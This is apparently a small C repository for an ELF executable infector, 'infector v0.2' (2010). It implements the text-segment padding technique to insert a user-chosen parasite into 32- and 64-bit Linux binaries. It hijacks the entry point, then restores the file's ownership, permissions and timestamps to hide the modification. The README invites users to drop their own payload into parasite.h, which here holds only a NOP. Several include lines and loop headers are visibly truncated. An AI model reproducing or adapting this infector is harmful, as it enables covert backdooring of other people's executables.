├── LICENSE ├── Makefile ├── README ├── common.c ├── common.h ├── infector.c ├── infector.h ├── main.c └── parasite.h /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2010 oblique. All rights reserved. 2 | 3 | Redistribution and use in source and binary forms, with or without modification, are 4 | permitted provided that the following conditions are met: 5 | 6 | 1. Redistributions of source code must retain the above copyright notice, this list of 7 | conditions and the following disclaimer. 8 | 9 | 2. Redistributions in binary form must reproduce the above copyright notice, this list 10 | of conditions and the following disclaimer in the documentation and/or other materials 11 | provided with the distribution. 12 | 13 | THIS SOFTWARE IS PROVIDED BY oblique ``AS IS'' AND ANY EXPRESS OR IMPLIED 14 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 15 | FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL oblique OR 16 | CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 17 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 18 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 19 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 20 | NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 21 | ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 22 | 23 | The views and conclusions contained in the software and documentation are those of the 24 | authors and should not be interpreted as representing official policies, either expressed 25 | or implied, of oblique. 26 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: infector 2 | 3 | clean: 4 | @rm -rf *.o infector 5 | 6 | infector: main.o infector32.o infector64.o common.o 7 | gcc $^ -o $@ 8 | 9 | main.o: main.c infector.h common.h 10 | gcc -c $< -o $@ 11 | 12 | infector32.o: infector.c infector.h common.h parasite.h 13 | gcc -DBUILD32 -c $< -o $@ 14 | 15 | infector64.o: infector.c infector.h common.h parasite.h 16 | gcc -DBUILD64 -c $< -o $@ 17 | 18 | common.o: common.c common.h 19 | gcc -c $< -o $@ 20 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | This is an elf infector based on Silvio's algorithm with some extra things. 2 | You can edit parasite.h to put your parasite. The parasite will be executed 3 | before the original code starts. 4 | 5 | oblique 2010 6 | -------------------------------------------------------------------------------- /common.c: -------------------------------------------------------------------------------- 1 | /* oblique 2010 2 | */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "common.h" 11 | 12 | 13 | void print_error(char *file, unsigned int line, int errnum, char *s) { 14 | fflush(stdout); 15 | if (file == NULL || line == 0) 16 | fprintf(stderr, "[-] %s: %s\n", s, strerror(errnum)); 17 | else 18 | fprintf(stderr, "[-] %s:%d: %s: %s\n", file, line, s, strerror(errnum)); 19 | } 20 | 21 | int replace_file(char *newfile, char *origfile, const struct stat origst) { 22 | struct timespec ts[2]; 23 | 24 | if (rename(newfile, origfile) == -1) 25 | if (errno == EXDEV) { 26 | struct stat newst; 27 | int newfd, origfd; 28 | 29 | if (stat(newfile, &newst) == -1) { 30 | print_error(__FILE__, __LINE__-1, errno, "stat"); 31 | return -1; 32 | } 33 | 34 | if ((newfd = open(newfile, O_RDONLY)) == -1) { 35 | print_error(__FILE__, __LINE__-1, errno, "open"); 36 | return -1; 37 | } 38 | 39 | if ((origfd = open(origfile, O_WRONLY | O_TRUNC)) == -1) { 40 | print_error(__FILE__, __LINE__-1, errno, "open"); 41 | return -1; 42 | } 43 | 44 | if (copy_file_bytes(origfd, newfd, 0, newst.st_size) == -1) 45 | return -1; 46 | 47 | close(origfd); 48 | close(newfd); 49 | 50 | if (unlink(newfile) == -1) 51 | print_error(__FILE__, __LINE__-1, errno, "unlink"); 52 | } else { 53 | print_error(__FILE__, __LINE__-1, errno, "rename"); 54 | return -1; 55 | } 56 | 57 | 58 | if (chown(origfile, origst.st_uid, origst.st_gid) == -1) 59 | print_error(__FILE__, __LINE__-1, errno, "chown"); 60 | 61 | if (chmod(origfile, origst.st_mode) == -1) 62 | print_error(__FILE__, __LINE__-1, errno, "chmod"); 63 | 64 | ts[0] = origst.st_atim; 65 | ts[1] = origst.st_mtim; 66 | if (utimensat(AT_FDCWD, origfile, ts, 0) == -1) 67 | print_error(__FILE__, __LINE__-1, errno, "utimensat"); 68 | 69 | return 0; 70 | } 71 | 72 | int copy_file_bytes(int dest, int src, off_t offset, size_t sz) { 73 | char buf[BUF_SIZE]; 74 | int res, ret_sz; 75 | 76 | if (lseek(src, offset, SEEK_SET) == -1) { 77 | print_error(__FILE__, __LINE__-1, errno, "lseek"); 78 | return -1; 79 | } 80 | 81 | if (sz % BUF_SIZE != 0) { 82 | if ((res = read(src, buf, sz % BUF_SIZE)) == -1) { 83 | print_error(__FILE__, __LINE__-1, errno, "read"); 84 | return -1; 85 | } else if (res != sz % BUF_SIZE) { 86 | fprintf(stderr, "[-] File is too small\n"); 87 | return -1; 88 | } 89 | 90 | if ((res = write(dest, buf, sz % BUF_SIZE)) == -1) { 91 | print_error(__FILE__, __LINE__-1, errno, "write"); 92 | return -1; 93 | } 94 | 95 | sz -= sz % BUF_SIZE; 96 | } 97 | 98 | while (sz > 0) { 99 | if ((res = read(src, buf, BUF_SIZE)) == -1) { 100 | print_error(__FILE__, __LINE__-1, errno, "read"); 101 | return -1; 102 | } else if (res != BUF_SIZE) { 103 | fprintf(stderr, "[-] File is too small\n"); 104 | return -1; 105 | } 106 | 107 | if ((res = write(dest, buf, BUF_SIZE)) == -1) { 108 | print_error(__FILE__, __LINE__-1, errno, "write"); 109 | return -1; 110 | } 111 | 112 | sz -= BUF_SIZE; 113 | } 114 | 115 | return 0; 116 | } 117 | -------------------------------------------------------------------------------- /common.h: -------------------------------------------------------------------------------- 1 | /* oblique 2010 2 | */ 3 | #ifndef COMMON_H 4 | #define COMMON_H 5 | 6 | #include 7 | #include 8 | 9 | #define BUF_SIZE 32768 10 | 11 | 12 | void print_error(char *file, unsigned int line, int errnum, char *s); 13 | int copy_file_bytes(int dest, int src, off_t offset, size_t sz); 14 | int replace_file(char *newfile, char *origfile, const struct stat origst); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /infector.c: -------------------------------------------------------------------------------- 1 | /* oblique 2010 2 | */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "common.h" 12 | #include "infector.h" 13 | #include "parasite.h" 14 | 15 | #ifdef BUILD32 16 | #define BITS(name) name##32 17 | #define Elf_Ehdr Elf32_Ehdr 18 | #define Elf_Phdr Elf32_Phdr 19 | #define Elf_Shdr Elf32_Shdr 20 | #define Elf_Addr Elf32_Addr 21 | #elif defined(BUILD64) 22 | #define BITS(name) name##64 23 | #define Elf_Ehdr Elf64_Ehdr 24 | #define Elf_Phdr Elf64_Phdr 25 | #define Elf_Shdr Elf64_Shdr 26 | #define Elf_Addr Elf64_Addr 27 | #endif 28 | 29 | #define check_elf BITS(check_elf) 30 | #define infect_elf BITS(infect_elf) 31 | #define parasite BITS(parasite) 32 | #define init_parasite BITS(init_parasite) 33 | 34 | 35 | #define __FATAL(name) do { \ 36 | print_error(__FILE__, __LINE__-1, errno, name); \ 37 | goto _fatal; \ 38 | } while(0) 39 | 40 | static unsigned char jmp_entry[] = "\xe9\x00\x00\x00\x00"; // jmp rel_addr 41 | 42 | void init_parasite(unsigned char *code, Elf_Addr jmp_vaddr, Elf_Addr entry) { 43 | memcpy(code, parasite, sizeof(parasite)-1); 44 | *(int*)&jmp_entry[1] = entry - (jmp_vaddr + 5); 45 | memcpy(code+sizeof(parasite)-1, jmp_entry, sizeof(jmp_entry)-1); 46 | } 47 | 48 | int check_elf(Elf_Ehdr *ehdr) { 49 | if (ehdr->e_type != ET_EXEC) { 50 | fprintf(stderr, "[-] ELF not ET_EXEC\n"); 51 | return 0; 52 | } 53 | 54 | if (ehdr->e_ident[EI_VERSION] != EV_CURRENT) { 55 | fprintf(stderr, "[-] ELF not current version\n"); 56 | return 0; 57 | } 58 | 59 | #ifdef BUILD32 60 | if (ehdr->e_machine != EM_386) { 61 | fprintf(stderr, "[-] ELF not EM_386\n"); 62 | return 0; 63 | } 64 | #elif defined(BUILD64) 65 | if (ehdr->e_machine != EM_X86_64) { 66 | fprintf(stderr, "[-] ELF not EM_X86_64\n"); 67 | return 0; 68 | } 69 | #endif 70 | return 1; 71 | } 72 | 73 | 74 | /* Silvio's algorithm: 75 | * Increase e_shoff by PAGE_SIZE in the ELF header 76 | * Patch the insertion code (parasite) to jump to the entry point (original) 77 | * Locate the text segment program header 78 | * Modify the entry point of the ELF header to point to the new 79 | code (p_vaddr + p_filesz) 80 | * Increase p_filesz by account for the new code (parasite) 81 | * Increase p_memsz to account for the new code (parasite) 82 | * For each phdr who's segment is after the insertion (text segment) 83 | * increase p_offset by PAGE_SIZE 84 | * For the last shdr in the text segment 85 | * increase sh_size by the parasite length 86 | * For each shdr who's section resides after the insertion 87 | * Increase sh_offset by PAGE_SIZE 88 | * Physically insert the new code (parasite) and pad to PAGE_SIZE, into 89 | the file - text segment p_offset + p_filesz (original) 90 | */ 91 | 92 | int infect_elf(int fd, int fdout) { 93 | Elf_Ehdr ehdr; 94 | Elf_Phdr *phdr = NULL, *next_phdr = NULL; 95 | Elf_Shdr *shdr = NULL, *next_shdr = NULL; 96 | unsigned char buf[PAGE_SIZE], *code = NULL; 97 | int i, j, res, nop; 98 | off_t pos, text_endoff, shoff; 99 | size_t psz, padsz; 100 | Elf_Addr orig_entry; 101 | 102 | printf("[+] Reading headers\n"); 103 | 104 | // read ehdr 105 | if (lseek(fd, 0, SEEK_SET) == -1) 106 | __FATAL("lseek"); 107 | 108 | if ((res = read(fd, &ehdr, sizeof(ehdr))) == -1) 109 | __FATAL("read"); 110 | else if (res != sizeof(ehdr)) { 111 | fprintf(stderr, "[-] File is too small\n"); 112 | goto _fatal; 113 | } 114 | 115 | if (!check_elf(&ehdr)) 116 | goto _fatal; 117 | 118 | #ifdef BUILD32 119 | printf("[+] x86-32bit ELF\n"); 120 | #elif defined(BUILD64) 121 | printf("[+] x86-64bit ELF\n"); 122 | #endif 123 | 124 | // read phdrs 125 | if ((phdr = malloc(ehdr.e_phnum * sizeof(Elf_Phdr))) == NULL) 126 | __FATAL("malloc"); 127 | 128 | if (lseek(fd, ehdr.e_phoff, SEEK_SET) == -1) 129 | __FATAL("lseek"); 130 | 131 | if ((res = read(fd, phdr, ehdr.e_phnum * sizeof(Elf_Phdr))) == -1) 132 | __FATAL("read"); 133 | else if (res != ehdr.e_phnum * sizeof(Elf_Phdr)) { 134 | fprintf(stderr, "[-] File is too small\n"); 135 | goto _fatal; 136 | } 137 | 138 | // read shdrs 139 | if (ehdr.e_shnum > 0) { 140 | if ((shdr = malloc(ehdr.e_shnum * sizeof(Elf_Shdr))) == NULL) 141 | __FATAL("malloc"); 142 | 143 | if (lseek(fd, ehdr.e_shoff, SEEK_SET) == -1) 144 | __FATAL("lseek"); 145 | 146 | if ((res = read(fd, shdr, ehdr.e_shnum * sizeof(Elf_Shdr))) == -1) 147 | __FATAL("read"); 148 | else if (res != ehdr.e_shnum * sizeof(Elf_Shdr)) { 149 | fprintf(stderr, "[-] File is too small\n"); 150 | goto _fatal; 151 | } 152 | } 153 | 154 | psz = sizeof(parasite) + sizeof(jmp_entry) - 2; 155 | printf("[+] Parasite size: %zu bytes\n", psz); 156 | 157 | for (i=0; i= phdr[i].p_vaddr + phdr[i].p_memsz 166 | && (next_phdr == NULL || phdr[j].p_vaddr < next_phdr->p_vaddr)) 167 | next_phdr = &phdr[j]; 168 | 169 | // locate the next section based on p_offset 170 | for (j=0; j= phdr[i].p_offset + phdr[i].p_filesz 172 | && (next_shdr == NULL || shdr[j].sh_offset < next_shdr->sh_offset)) 173 | next_shdr = &shdr[j]; 174 | 175 | // check if the file can be infected and if it can find the current padding size 176 | if (next_phdr != NULL && phdr[i].p_vaddr + phdr[i].p_memsz + psz >= next_phdr->p_vaddr) { 177 | fprintf(stderr, "[-] File does not have enough space for the parasite\n"); 178 | goto _fatal; 179 | } else if (next_phdr != NULL) 180 | padsz = next_phdr->p_offset - phdr[i].p_filesz; 181 | else if (next_shdr != NULL) 182 | padsz = next_shdr->sh_offset - phdr[i].p_filesz; 183 | else if (ehdr.e_shnum > 0) 184 | padsz = ehdr.e_shoff - phdr[i].p_filesz; 185 | else 186 | padsz = 0; 187 | 188 | if (next_shdr != NULL && next_shdr->sh_offset - phdr[i].p_filesz < padsz) 189 | padsz = next_shdr->sh_offset - phdr[i].p_filesz; 190 | 191 | printf("[+] Padding size: %zu\n", padsz); 192 | 193 | if (psz > padsz) { 194 | printf("[-] parasite size > padding size .. infector will fix some values\n"); 195 | nop = ((psz-padsz) + (PAGE_SIZE - (psz-padsz) % PAGE_SIZE)) / PAGE_SIZE; 196 | } else 197 | nop = 0; 198 | 199 | text_endoff = phdr[i].p_offset + phdr[i].p_filesz; 200 | // Modify the entry point of the ELF header to point to the new 201 | // code (p_vaddr + p_filesz) 202 | orig_entry = ehdr.e_entry; 203 | ehdr.e_entry = phdr[i].p_vaddr + phdr[i].p_filesz; 204 | #ifdef BUILD32 205 | printf("[+] Original entry point: %#x\n", orig_entry); 206 | printf("[+] New entry point: %#x\n", ehdr.e_entry); 207 | #elif defined(BUILD64) 208 | printf("[+] Original entry point: %#" PRIx64 "\n", orig_entry); 209 | printf("[+] New entry point: %#" PRIx64 "\n", ehdr.e_entry); 210 | #endif 211 | printf("[+] Change text segment's p_filesz and p_memsz\n"); 212 | // Increase p_filesz by account for the new code (parasite) 213 | phdr[i].p_filesz += psz; 214 | // Increase p_memsz to account for the new code (parasite) 215 | phdr[i].p_memsz += psz; 216 | for (j=0; j shdr[j].sh_addr 219 | && (last_shdr == NULL || shdr[j].sh_addr > last_shdr->sh_addr)) 220 | last_shdr = &shdr[j]; 221 | } 222 | if (last_shdr != NULL) { 223 | printf("[+] Change sh_size of the last section of the text segment\n"); 224 | // For the last shdr in the text segment 225 | // increase sh_size by the parasite length 226 | last_shdr->sh_size += psz; 227 | 228 | if (nop > 0) { 229 | printf("[+] Change sh_offset of all sections after text segment\n"); 230 | // For each shdr who's section resides after the insertion 231 | // Increase sh_offset by PAGE_SIZE 232 | for (j=0; j last_shdr->sh_offset) 234 | shdr[j].sh_offset += PAGE_SIZE * nop; 235 | } 236 | } 237 | break; 238 | } 239 | 240 | 241 | if (i == ehdr.e_phnum) { 242 | fprintf(stderr, "[-] text segment not found\n"); 243 | goto _fatal; 244 | } 245 | 246 | if (nop > 0) { 247 | printf("[+] Change p_offset of all segments after text segment\n"); 248 | // For each phdr who's segment is after the insertion (text segment) 249 | // increase p_offset by PAGE_SIZE 250 | for (j = 0; j= phdr[i].p_vaddr + phdr[i].p_memsz) 252 | phdr[j].p_offset += PAGE_SIZE * nop; 253 | } 254 | 255 | if (ehdr.e_shnum > 0) { 256 | shoff = ehdr.e_shoff; 257 | if (nop > 0) { 258 | printf("[+] Change e_shoff of ELF header\n"); 259 | // Increase e_shoff by PAGE_SIZE in the ELF header 260 | ehdr.e_shoff += PAGE_SIZE * nop; 261 | } 262 | } 263 | 264 | // Patch the insertion code (parasite) to jump to the entry point (original) 265 | printf("[+] Initialize parasite\n"); 266 | if ((code = malloc(psz)) == NULL) 267 | __FATAL("malloc"); 268 | init_parasite(code, ehdr.e_entry + sizeof(parasite)-1, orig_entry); 269 | 270 | printf("[+] Construct the infected file\n"); 271 | 272 | /* construct the infected file */ 273 | 274 | // write ehdr 275 | if (write(fdout, &ehdr, sizeof(Elf_Ehdr)) == -1) 276 | __FATAL("write"); 277 | 278 | // write phdrs 279 | if (write(fdout, phdr, ehdr.e_phnum * sizeof(Elf_Phdr)) == -1) 280 | __FATAL("write"); 281 | 282 | // write from the end of phdrs until the end of text segment 283 | pos = lseek(fd, sizeof(Elf_Ehdr) + ehdr.e_phnum * sizeof(Elf_Phdr), SEEK_SET); 284 | if (pos == -1) 285 | __FATAL("lseek"); 286 | 287 | if (copy_file_bytes(fdout, fd, pos, text_endoff - pos) == -1) 288 | goto _fatal; 289 | 290 | // Physically insert the new code (parasite) and pad to PAGE_SIZE 291 | printf("[+] Write the parasite\n"); 292 | 293 | if (psz < padsz) { 294 | memset(buf, 0, padsz); 295 | memcpy(buf, code, psz); 296 | if (write(fdout, buf, padsz) == -1) 297 | __FATAL("write"); 298 | } else { 299 | if (write(fdout, code, padsz) == -1) 300 | __FATAL("write"); 301 | pos = padsz; 302 | 303 | for (i=0; i 0) { 322 | // write from the end of (text segment + padding size) until the start of shdrs 323 | if (copy_file_bytes(fdout, fd, text_endoff+padsz, shoff-(text_endoff+padsz)) == -1) 324 | goto _fatal; 325 | 326 | // write the shdrs 327 | if (write(fdout, shdr, ehdr.e_shnum*sizeof(Elf_Shdr)) == -1) 328 | __FATAL("write"); 329 | 330 | // write until the EOF 331 | if (lseek(fd, ehdr.e_shnum*sizeof(Elf_Shdr), SEEK_CUR) == -1) 332 | __FATAL("lseek"); 333 | } 334 | 335 | while ((res = read(fd, buf, PAGE_SIZE)) > 0) 336 | if (write(fdout, buf, res) == -1) 337 | __FATAL("write"); 338 | 339 | if (res == -1) 340 | __FATAL("read"); 341 | 342 | free(phdr); 343 | free(shdr); 344 | free(code); 345 | return 0; 346 | 347 | _fatal: 348 | if (phdr != NULL) 349 | free(phdr); 350 | if (shdr != NULL) 351 | free(shdr); 352 | if (code != NULL) 353 | free(code); 354 | return -1; 355 | } 356 | -------------------------------------------------------------------------------- /infector.h: -------------------------------------------------------------------------------- 1 | /* oblique 2010 2 | */ 3 | #ifndef INFECTOR_H 4 | #define INFECTOR_H 5 | 6 | #include 7 | 8 | int check_elf32(Elf32_Ehdr *ehdr); 9 | int check_elf64(Elf64_Ehdr *ehdr); 10 | 11 | int infect_elf32(int fdi, int fdout); 12 | int infect_elf64(int fd, int fdout); 13 | 14 | void init_parasite32(unsigned char *code, Elf32_Addr jmp_vaddr, Elf32_Addr entry); 15 | void init_parasite64(unsigned char *code, Elf64_Addr jmp_vaddr, Elf64_Addr entry); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | /* oblique 2010 2 | */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "infector.h" 11 | #include "common.h" 12 | 13 | 14 | int main(int argc, char *argv[]) { 15 | int fd, fdout, res; 16 | struct stat st; 17 | char magic[EI_NIDENT]; 18 | char tmpfile[] = "XXXXXX"; 19 | 20 | 21 | if (argc != 2) { 22 | printf("oblique 2010\n"); 23 | printf("infector v0.2\n\n"); 24 | printf("usage: %s elf_file\n", argv[0]); 25 | return 1; 26 | } 27 | 28 | if (stat(argv[1], &st) == -1) { 29 | print_error(__FILE__, __LINE__-1, errno, "stat"); 30 | return 1; 31 | } 32 | 33 | if ((fd = open(argv[1], O_RDONLY)) == -1) { 34 | print_error(__FILE__, __LINE__-1, errno, "open"); 35 | return 1; 36 | } 37 | 38 | if ((fdout = mkstemp(tmpfile)) == -1) { 39 | print_error(__FILE__, __LINE__-1, errno, "mkstemp"); 40 | close(fd); 41 | return 1; 42 | } 43 | 44 | if ((res = read(fd, magic, EI_NIDENT)) == -1) { 45 | print_error(__FILE__, __LINE__-1, errno, "read"); 46 | goto _fatal; 47 | } else if (res != EI_NIDENT) { 48 | fprintf(stderr, "[-] File is too small\n"); 49 | goto _fatal; 50 | } 51 | 52 | 53 | if (memcmp(magic, ELFMAG, SELFMAG) == 0) { 54 | if (magic[EI_CLASS] == ELFCLASS32) { 55 | if (infect_elf32(fd, fdout) == -1) 56 | goto _fatal; 57 | } else if (magic[EI_CLASS] == ELFCLASS64) { 58 | if (infect_elf64(fd, fdout) == -1) 59 | goto _fatal; 60 | } else { 61 | fprintf(stderr, "Unknown ELF class.\n"); 62 | goto _fatal; 63 | } 64 | } else { 65 | fprintf(stderr, "File not ELF.\n"); 66 | goto _fatal; 67 | } 68 | 69 | close(fd); 70 | close(fdout); 71 | 72 | printf("[+] Replace the original file\n"); 73 | if (replace_file(tmpfile, argv[1], st) == -1) { 74 | unlink(tmpfile); 75 | return 1; 76 | } 77 | 78 | printf("[+] Done!\n"); 79 | 80 | return 0; 81 | 82 | 83 | _fatal: 84 | close(fd); 85 | close(fdout); 86 | unlink(tmpfile); 87 | return 1; 88 | } 89 | -------------------------------------------------------------------------------- /parasite.h: -------------------------------------------------------------------------------- 1 | /* oblique 2010 2 | */ 3 | #ifndef PARASITE_H 4 | #define PARASITE_H 5 | 6 | #ifdef BUILD32 7 | 8 | unsigned char parasite32[] = 9 | "\x90"; 10 | 11 | #elif defined(BUILD64) 12 | 13 | unsigned char parasite64[] = 14 | "\x90"; 15 | 16 | #endif 17 | 18 | #endif 19 | --------------------------------------------------------------------------------